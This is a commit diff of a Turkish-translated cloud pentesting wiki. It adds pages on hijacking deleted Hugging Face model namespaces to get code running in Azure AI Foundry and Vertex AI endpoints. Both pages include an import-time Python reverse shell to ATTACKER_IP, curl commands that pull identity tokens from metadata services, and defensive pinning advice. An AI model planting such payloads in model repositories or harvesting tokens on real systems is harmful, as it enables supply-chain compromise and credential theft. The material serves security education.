Translated ['src/pentesting-cloud/pentesting-cloud-methodology.md', 'src

This commit is contained in:
Translator
2025-09-29 21:16:50 +00:00
parent b435f905d9
commit b0aad1cd6e
5 changed files with 272 additions and 52 deletions
@@ -1,3 +1,9 @@
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,94 @@
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Senaryo
- Azure AI Foundry Model Catalog, tek tıkla dağıtım için birçok Hugging Face (HF) modelini içerir.
- HF model identifiers are Author/ModelName. Eğer bir HF author/org silinirse, herhangi biri o author'ı yeniden kaydettirip aynı ModelName ile legacy path'te bir model yayımlayabilir.
- Pipelines ve catalogs that pull by name only (no commit pinning/integrity) attacker-controlled repos'a çözümlenir. When Azure deploys the model, loader code endpoint environment'da çalışabilir ve o endpointin permissions'larıyla RCE sağlar.
Common HF takeover cases:
- Ownership deletion: Eski path takeover'a kadar 404 olur.
- Ownership transfer: Eski path 307 yeni author'a yönlendirilir while eski author var olduğu sürece. Eğer eski author daha sonra silinir ve yeniden kaydı yapılırsa, redirect bozulur ve attackers repo legacy path'te hizmet verir.
## Yeniden Kullanılabilir Namespace'leri Belirleme (HF)
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## Azure AI Foundry'ye Karşı Uçtan Uca Saldırı Akışı
1) Model Catalog'ta, orijinal yazarı HF üzerinde silinmiş veya transfer edilmiş (eski yazar kaldırılmış) HF modellerini bulun.
2) Terk edilmiş yazarı HF üzerinde yeniden kaydedin ve ModelName'i yeniden oluşturun.
3) İçe aktarımda çalışan veya trust_remote_code=True gerektiren loader code içeren kötü amaçlı bir repo yayınlayın.
4) Azure AI Foundry'dan legacy Author/ModelName'i dağıtın. Platform saldırganın reposunu çeker; loader, Azure endpoint container/VM içinde çalışır ve endpoint izinleriyle RCE sağlar.
İçe aktarım sırasında çalıştırılan örnek payload fragmanı (sadece gösterim amaçlı):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notlar
- AI Foundry dağıtımları HF ile entegre olduğunda genellikle modelin konfigürasyonunda referans verilen repo modüllerini (ör. auto_map) klonlayıp içe aktarır; bu kod çalıştırmayı tetikleyebilir. Bazı yollar için trust_remote_code=True gerekir.
- Erişim genellikle endpointin managed identity/service principal izinleriyle eşleşir. Bunu Azure içinde veri erişimi ve lateral movement için bir initial access foothold olarak değerlendirin.
## Post-Exploitation Tips (Azure Endpoint)
- Tokenlar için environment değişkenlerini ve MSI endpointlerini enumerate edin:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- Edinilen token ile monte edilmiş depolamayı, model artifaktlarını ve erişilebilir Azure servislerini kontrol edin.
- Platform HF'den yeniden çekme yapıyorsa, zehirlenmiş model artifaktları bırakarak persistence'i değerlendirin.
## Azure AI Foundry Kullanıcıları için Savunma Rehberi
- HF'den yüklerken modelleri commit'e göre sabitleyin:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Doğrulanmış HF modellerini güvenilir bir iç registry'ye yansıtın ve oradan dağıtın.
- Kod tabanlarını ve defaults/docstrings/notebooks içinde hard-coded Author/ModelName'leri (silinmiş/transfer edilmiş olanları) sürekli tarayın; güncelleyin veya pinleyin.
- Dağıtımdan önce author varlığını ve model kökenini doğrulayın.
## Tanıma Heuristikleri (HTTP)
- Silinmiş author: author sayfası 404; legacy model yolu devralma olana kadar 404 döner.
- Transfer edilmiş model: legacy path 307 ile yeni author'a yönlendirilir, eski author var olduğu sürece; eğer eski author daha sonra silinir ve yeniden kayıt olursa, legacy path saldırgan içeriği sunar.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Çapraz Referanslar
- Daha geniş metodoloji ve tedarik zinciri notlarına bakın:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Kaynaklar
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,3 +1,9 @@
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
gcp-vertex-ai-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,113 @@
# GCP - Vertex AI Post-Exploitation aracılığıyla Hugging Face Model Namespace Yeniden Kullanımı
{{#include ../../../banners/hacktricks-training.md}}
## Senaryo
- Vertex AI Model Garden, birçok Hugging Face (HF) modelinin doğrudan dağıtılmasına izin verir.
- HF model tanımlayıcıları Author/ModelName şeklindedir. HF'de bir author/org silinirse, aynı author adı herhangi biri tarafından yeniden kaydedilebilir. Saldırganlar ardından aynı ModelName ile legacy path'te bir repo oluşturabilir.
- Yalnızca isimle (pinning/integrity yok) çeken Pipelines, SDKs veya cloud katalogları saldırgan kontrollü repoyu çeker. Model dağıtıldığında, o repodaki loader kodu Vertex AI endpoint container içinde çalışabilir ve endpoint'in izinleriyle RCE sağlayabilir.
HF'de iki yaygın takeover vakası:
- Sahiplik silinmesi: Eski yol 404 döner; author yeniden kaydedilip aynı ModelName yayınlanana kadar.
- Sahiplik transferi: HF, eski Author/ModelName'den yeni sahibine 307 yönlendirmesi yapar. Eğer eski author daha sonra silinip saldırgan tarafından yeniden kaydedilirse, yönlendirme zinciri kırılır ve saldırganın reposu legacy path'te hizmet verir.
## Yeniden Kullanılabilir Namespace'leri (HF) Tespit Etme
- Eski author silinmiş: author sayfası 404 döner; model yolu takeover gerçekleşene kadar 404 dönebilir.
- Transfer edilmiş modeller: eski model yolu, eski author var olduğu sürece yeni sahip için 307 yönlendirmesi yapar. Eğer eski author daha sonra silinip yeniden kaydedilirse, legacy path saldırganın reposuna yönlenir.
Hızlı kontroller curl ile:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Vertex AI'ye Karşı Uçtan Uca Saldırı Akışı
1) Model Garden'ın deployable olarak listelediği yeniden kullanılabilir model namespace'lerini keşfedin:
- Vertex AI Model Garden'da hâlâ “verified deployable” olarak görünen HF modellerini bulun.
- Orijinal Author'ın silinip silinmediğini veya modelin transfer edilip edilmediğini ve eski Author'ın daha sonra kaldırılıp kaldırılmadığını HF üzerinde doğrulayın.
2) Silinmiş Author'ı HF üzerinde yeniden kaydedin ve aynı ModelName'i yeniden oluşturun.
3) Kötü amaçlı bir repo yayınlayın. Model yüklemesi sırasında çalışan kodu dahil edin. HF model yüklemesi sırasında yaygın olarak çalışan örnekler:
- Repodaki __init__.py içinde side effects
- config/auto_map tarafından referans verilen custom modeling_*.py veya processing kodu
- Transformers pipeline'larında trust_remote_code=True gerektiren code paths
4) Legacy Author/ModelName'in Vertex AI deployment'ı artık attacker repo'yu çeker. Loader, Vertex AI endpoint container içinde çalıştırılır.
5) Payload, endpoint ortamından (RCE) endpoint'in izinleriyle erişim sağlar.
Example payload fragment executed on import (for demonstration only):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notlar
- Gerçek dünyadaki loader'lar değişkenlik gösterir. Birçok Vertex AI HF entegrasyonu, modelin config'inde referans verilen repo modüllerini (ör. auto_map) clone'lar ve import eder; bu, kod yürütmeyi tetikleyebilir. Bazı kullanımlar trust_remote_code=True gerektirir.
- Endpoint tipik olarak sınırlı kapsama sahip ayrılmış bir container içinde çalışır, ancak GCP'de veri erişimi ve lateral movement için geçerli bir initial foothold'tur.
## Post-Exploitation Tips (Vertex AI Endpoint)
Kod endpoint container içinde çalışmaya başladıktan sonra şu adımları düşünün:
- Kimlik bilgileri/tokens için ortam değişkenleri ve metadata'yı enumerate etmek
- Ekli storage'a veya mount edilmiş model artifact'larına erişmek
- service account identity üzerinden Google API'leriyle etkileşim kurmak (Document AI, Storage, Pub/Sub, vb.)
- Platform repo'yu yeniden çekerse model artifact içinde persistence sağlamak
Erişilebiliyorsa instance metadata'yı enumerate edin (container bağımlı):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Vertex AI kullanıcıları için savunma rehberi
- HF loaders'ta modelleri commit'e göre sabitleyin; sessiz değiştirmeyi önlemek için:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Onaylanmış HF modellerini güvenilir dahili bir artifact store/registry'ye mirror'layın ve dağıtımı oradan yapın.
- Kod tabanlarını ve konfigürasyonları, silinmiş/transfer edilmiş olarak hard-coded Author/ModelName için sürekli tarayın; yeni namespace'lere güncelleyin veya commit'e pinleyin.
- Model Garden'da, dağıtımdan önce model provenance ve yazarın varlığını doğrulayın.
## Recognition Heuristics (HTTP)
- Silinmiş yazar: yazar sayfası 404; legacy model yolu takeover'a kadar 404.
- Transfer edilmiş model: legacy yol 307 ile yeni yazara yönlendirilir; eski yazar varken; eğer eski yazar daha sonra silinir ve yeniden kayıt olursa, legacy yol saldırgan içeriği sunar.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Çapraz Referanslar
- Daha geniş metodoloji ve tedarik zinciri notlarına bakın:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Referanslar
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# Pentesting Cloud Methodology
# Pentesting Bulut Metodolojisi
{{#include ../banners/hacktricks-training.md}}
@@ -6,39 +6,39 @@
## Temel Metodoloji
Her bulutun kendine özgü özellikleri vardır, ancak genel olarak bir pentester'ın bulut ortamını test ederken kontrol etmesi gereken birkaç **ortak şey** vardır:
Her bulutun kendine özgü özellikleri vardır ancak genel olarak bir pentester'ın bulut ortamını test ederken kontrol etmesi gereken birkaç **ortak şey** vardır:
- **Benchmark kontrolleri**
- Bu, **ortamın boyutunu** ve **kullanılan hizmetleri** anlamanıza yardımcı olacaktır.
- Ayrıca, bu testlerin çoğunu **otomatik araçlarla** gerçekleştirebileceğiniz için bazı **hızlı yanlış yapılandırmaları** bulmanızı sağlar.
- **Hizmetlerin Sayımı**
- Benchmark testlerini doğru bir şekilde gerçekleştirdiyseniz burada çok fazla yanlış yapılandırma bulamayabilirsiniz, ancak benchmark testinde bakılmayan bazılarını bulabilirsiniz.
- Bu, bulut ortamında **tam olarak neyin kullanıldığını** bilmenizi sağlar.
- Bu, sonraki adımlarda çok yardımcı olacaktır.
- **Açık varlıkları kontrol et**
- Bu, önceki bölüm sırasında yapılabilir, **potansiyel olarak açık olan her şeyi** ve nasıl erişilebileceğini **bulmalısınız**.
- Burada, web sayfaları veya diğer açık portlara sahip örnekler gibi **manuel olarak açılmış altyapıyı** ve ayrıca **açık hale getirilebilecek diğer bulut yönetilen hizmetleri** (örneğin DB'ler veya bucket'lar) ele alıyorum.
- Sonra, **bu kaynağın açılıp açılamayacağını** kontrol etmelisiniz (gizli bilgi mi? zafiyetler mi? açığa çıkan hizmetteki yanlış yapılandırmalar mı?).
- **İzinleri kontrol et**
- Burada, bulut içindeki her rol/kullanıcının **tüm izinlerini bulmalısınız** ve bunların nasıl kullanıldığını öğrenmelisiniz.
- Çok **yüksek ayrıcalıklı** (her şeyi kontrol eden) hesaplar mı var? Kullanılmayan anahtarlar mı oluşturulmuş?... Bu kontrollerin çoğu zaten benchmark testlerinde yapılmış olmalıdır.
- Müşteri OpenID veya SAML veya diğer **federasyon** kullanıyorsa, onlardan **her rolün nasıl atandığı** hakkında daha fazla **bilgi** istemeniz gerekebilir (admin rolünün 1 kullanıcıya mı yoksa 100 kullanıcıya mı atandığı aynı değildir).
- Hangi kullanıcıların **admin** izinlerine sahip olduğunu bulmak **yeterli değildir** "\*:\*". Kullanılan hizmetlere bağlı olarak çok sayıda **diğer izin** çok **hassas** olabilir.
- Dahası, izinleri kötüye kullanarak takip edilebilecek **potansiyel privesc** yolları vardır. Tüm bu şeyler dikkate alınmalı ve **mümkün olduğunca fazla privesc yolu** rapor edilmelidir.
- **Entegrasyonları kontrol et**
- Bulut ortamında **diğer bulutlar veya SaaS ile entegrasyonların** kullanılması oldukça olasıdır.
- Denetlediğiniz bulutun **diğer platformlarla entegrasyonları** için, bu entegrasyonu **(kötüye) kullanma** erişimine sahip olanları bildirmeli ve gerçekleştirilen eylemin **ne kadar hassas** olduğunu sormalısınız.\
Örneğin, GCP'den veri alan bir AWS bucket'ında kimlerin yazma yetkisi olduğunu sorun (GCP'de bu veriyi işlerken eylemin ne kadar hassas olduğunu sorun).
- Denetlediğiniz bulut içindeki **harici platformlardan gelen entegrasyonlar** için, bu entegrasyonu **(kötüye) kullanma** erişimine sahip olanları sormalı ve verinin nasıl kullanıldığını kontrol etmelisiniz.\
Örneğin, bir hizmet GCR'de barındırılan bir Docker görüntüsü kullanıyorsa, kimlerin bunu değiştirme erişimine sahip olduğunu ve bu görüntü çalıştırıldığında hangi hassas bilgi ve erişim elde edileceğini sormalısınız.
- **Benchmark checks**
- Bu, ortamın **büyüklüğünü anlamanıza** ve **kullanılan servisleri** görmenize yardımcı olur
- Ayrıca çoğu testi **otomatik araçlarla** gerçekleştirebildiğiniz için bazı **hızlı yanlış yapılandırmaları** bulmanızı sağlar
- **Services Enumeration**
- Benchmark testlerini doğru yaptıysanız burada muhtemelen çok daha fazla yanlış yapılandırma bulamayacaksınız, ama benchmark testinde aranmayan bazıları çıkabilir.
- Bu, bulut ortamında **tam olarak nelerin kullanıldığını** bilmenizi sağlar
- Bir sonraki adımlarda çok yardımcı olur
- **Check exposed assets**
- Bu önceki bölüm sırasında yapılabilir, Internet'e bir şekilde **potansiyel olarak açılan her şeyi** ve nasıl erişildiğini **belirlemeniz** gerekir.
- Burada manuel olarak açılmış altyapıyı ele alıyorum; örneğin web sayfası ya da diğer portları açılmış instance'lar ve ayrıca açılabilecek şekilde **konfigüre edilebilen diğer cloud managed servisler** (ör. DB'ler veya bucket'lar)
- Sonra bu kaynağın **açılıp açılamayacağını** kontrol etmelisiniz (gizli bilgi mi? zafiyetler mi? açılmış serviste yanlış konfigürasyon mu?)
- **Check permissions**
- Burada bulut içindeki her rol/kullanıcının **tüm izinlerini bulmalı** ve nasıl kullanıldığını incelemelisiniz
- Çok **fazla yüksek ayrıcalıklı** (her şeyi kontrol eden) hesap var mı? Oluşturulmuş anahtarlar kullanılmıyor mu?... Bu kontrollerin çoğu zaten benchmark testlerinde yapılmış olmalı
- Eğer müşteri OpenID veya SAML veya başka bir **federation** kullanıyorsa, her rolün **nasıl atandığı** hakkında daha fazla **bilgi** istemeniz gerekebilir (admin rolünün 1 kullanıcıya mı yoksa 100 kullanıcıya mı atandığı aynı şey değildir)
- Sadece hangi kullanıcıların **admin** izinlerine sahip olduğunu "\*:\*" bulmak **yeterli değildir**. Kullanılan servislere bağlı olarak çok **duyarlı** olabilecek birçok **diğer izin** vardır.
- Ayrıca, izinleri kötüye kullanarak takip edilebilecek **potansiyel privesc** yolları vardır. Tüm bu konular dikkate alınmalı ve **mümkün olduğunca çok privesc yolu** raporlanmalıdır.
- **Check Integrations**
- Bulut ortamı içinde **diğer bulutlar veya SaaS ile entegrasyonların** kullanılması çok muhtemeldir.
- Denetlediğiniz bulutun diğer platformlarla olan **entegrasyonları** için, o entegrasyonu **kimlerin (kötü)kullanabileceğini** bildirmeli ve gerçekleştirilen eylemin ne kadar **duyarlı** olduğunu sormalısınız.\
Örneğin, GCP'nin veri aldığı bir AWS bucket'ına kimlerin yazabildiğini sorun (GCP'de o verinin işlenmesinin ne kadar duyarlı olduğunu sorun).
- Dış platformlardan denetlediğiniz bulut içine olan **entegrasyonlar** için, o entegrasyonu **dışarıdan kimlerin (kötü)kullanabildiğini** sormalı ve bu verinin nasıl kullanıldığını kontrol etmelisiniz.\
Örneğin, bir servis GCR'de barındırılan bir Docker image kullanıyorsa, o image'ı kimlerin değiştirebildiğini ve image çalıştırıldığında hangi hassas bilgi ve erişimlerin elde edileceğini sormalısınız.
## Çoklu Bulut Araçları
## Çoklu Bulut araçları
Farklı bulut ortamlarını test etmek için kullanılabilecek birkaç araç vardır. Kurulum adımları ve bağlantılar bu bölümde belirtilecektir.
Farklı bulut ortamlarını test etmek için kullanılabilecek çeşitli araçlar vardır. Kurulum adımları ve linkler bu bölümde belirtilecektir.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
**Bulutlarda ve bulutlar/SaaS arasında kötü yapılandırmaları ve privesc yollarını tanımlamak için bir araç.**
Bulutlarda ve bulutlar/SaaS arasında kötü yapılandırmaları ve privesc yollarını **tanımlamak** için bir araç.
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
**AWS, GCP ve Azure**'ı destekler. Her sağlayıcının nasıl yapılandırılacağını kontrol edin [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
**AWS, GCP & Azure**'yi destekler. Her sağlayıcıyı nasıl yapılandıracağınızı şu adreste inceleyin: [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -91,7 +91,7 @@ prowler <provider> --list-services
AWS, Azure, Github, Google, Oracle, Alibaba
{{#tabs }}
{{#tab name="Kurulum" }}
{{#tab name="Install" }}
```bash
# Install
git clone https://github.com/aquasecurity/cloudsploit.git
@@ -112,10 +112,10 @@ npm install
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Altyapısı
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
{{#tabs }}
{{#tab name="Kurulum" }}
{{#tab name="Install" }}
```bash
mkdir scout; cd scout
virtualenv -p python3 venv
@@ -146,7 +146,7 @@ done
{{#tabs }}
{{#tab name="Install" }}
Steampipe'i indirin ve kurun ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ya da Brew kullanın:
Steampipe'i indirin ve kurun ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Veya Brew kullanın:
```
brew tap turbot/tap
brew install steampipe
@@ -170,7 +170,7 @@ steampipe check all
<summary>Tüm Projeleri Kontrol Et</summary>
Tüm projeleri kontrol etmek için test edilecek tüm projeleri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki scriptteki talimatları takip edebilirsiniz.
Tüm projeleri kontrol etmek için test edilecek tüm projeleri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki script'teki yönergeleri izleyebilirsiniz.
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
**Diğer GCP içgörülerini** (hizmetleri listelemek için yararlıdır) kontrol etmek için: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Diğer **GCP içgörüleri**ni (servisleri keşfetmek için faydalı) kontrol etmek için kullanın: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Terraform GCP kodunu kontrol etmek için: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Terraform GCP kodunu incelemek için: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Steampipe'ın daha fazla GCP eklentisi: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Steampipe için daha fazla GCP eklentisi: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -227,7 +227,7 @@ steampipe check all --export=/tmp/output4.json
```
Terraform AWS kodunu kontrol etmek için: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Steampipe'ın daha fazla AWS eklentisi: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
Steampipe için daha fazla AWS eklentisi: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
@@ -238,11 +238,11 @@ python2.7 gerektirir ve bakımsız görünüyor.
### Nessus
Nessus'un _**Audit Cloud Infrastructure**_ taraması, AWS, Azure, Office 365, Rackspace, Salesforce'u desteklemektedir. **Client Id** almak için **Azure**'da bazı ek yapılandırmalar gereklidir.
Nessus, _**Audit Cloud Infrastructure**_ taraması ile şunları destekler: AWS, Azure, Office 365, Rackspace, Salesforce. Bir **Client Id** almak için **Azure**'da bazı ekstra yapılandırmalar gereklidir.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist, Bulut Sağlayıcılarından Varlıklar (Host Adları, IP Adresleri) almak için **çoklu bulut aracı**dır.
Cloudlist, bulut sağlayıcılarından (Hostnames, IP Addresses) **multi-cloud tool for getting Assets** sağlayan bir araçtır.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
```
{{#endtab }}
{{#tab name="İkinci Sekme" }}
{{#tab name="Second Tab" }}
```bash
## For GCP it requires service account JSON credentials
cloudlist -config </path/to/config>
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri, Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır.
Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde bir araya getiren bir Python aracıdır.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri toplayarak, Neo4j veritabanı ile desteklenen sezgisel bir grafik görünümüne dönüştürür.
Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetler ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümüne toplar.
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Tarayıcı AWS veya Azure ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admin'leri de dahil olmak üzere keşfedin. PowerShell kullanır.
Taraılan AWS veya Azure ortamındaki en ayrıcalıklı kullanıcıları (AWS Shadow Admins dahil) keşfeder. powershell kullanır.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
Bir şirketin (hedef) altyapısını, dosyalarını ve en büyük bulut sağlayıcılarındaki (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) uygulamaları bulmak için bir araç.
Bir şirketin (hedef) altyapısını, dosyalarını ve uygulamalarını önde gelen bulut sağlayıcılarında (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) bulmak için bir araç.
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox, bulut altyapısında (şu anda yalnızca AWS ve Azure destekleniyor, GCP yakında gelecek) istismar edilebilir saldırı yollarını bulmak için bir araçtır.
- Manuel pentesting'i tamamlamak için tasarlanmış bir numaralandırma aracıdır.
- Bulut ortamında herhangi bir veri oluşturmaz veya değiştirmez.
- CloudFox, bulut altyapısında exploitable attack paths bulmak için bir araçtır (şu anda sadece AWS & Azure destekleniyor, GCP yakında eklenecek).
- Manual pentesting'e yardımcı olmak üzere tasarlanmış bir enumeration aracıdır.
- Bulut ortamı içinde herhangi bir veriyi oluşturmaz veya değiştirmez.
### Daha fazla bulut güvenlik aracı listesi
### More lists of cloud security tools
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -410,12 +410,13 @@ aws-security/
azure-security/
{{#endref}}
### Saldırı Grafiği
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) Azure aboneliğindeki kaynakların “saldırı grafiğini oluşturur. Kırmızı takımlara ve pentesterlara saldırı yüzeyini ve bir kiracı içindeki pivot fırsatlarını görselleştirme imkanı tanır ve savunucularınızı olay yanıtı çalışmalarını hızlı bir şekilde yönlendirmek ve önceliklendirmek için güçlendirir.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) bir Azure aboneliğindeki kaynakların “attack graph”ini oluşturur. Bu, red teams ve pentesters'in bir tenant içindeki attack surface'i ve pivot fırsatlarını görselleştirmesine olanak tanır ve defender'larınızı incident response çalışmalarını hızlıca yönlendirmeleri ve önceliklendirmeleri konusunda güçlendirir.
### Office365
**Global Admin** veya en azından **Global Admin Reader**'a ihtiyacınız var (ancak Global Admin Reader'ın biraz sınırlı olduğunu unutmayın). Ancak, bu sınırlamalar bazı PS modüllerinde ortaya çıkmakta ve özelliklere **web uygulaması aracılığıyla** erişerek aşılabilir.
You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**.
{{#include ../banners/hacktricks-training.md}}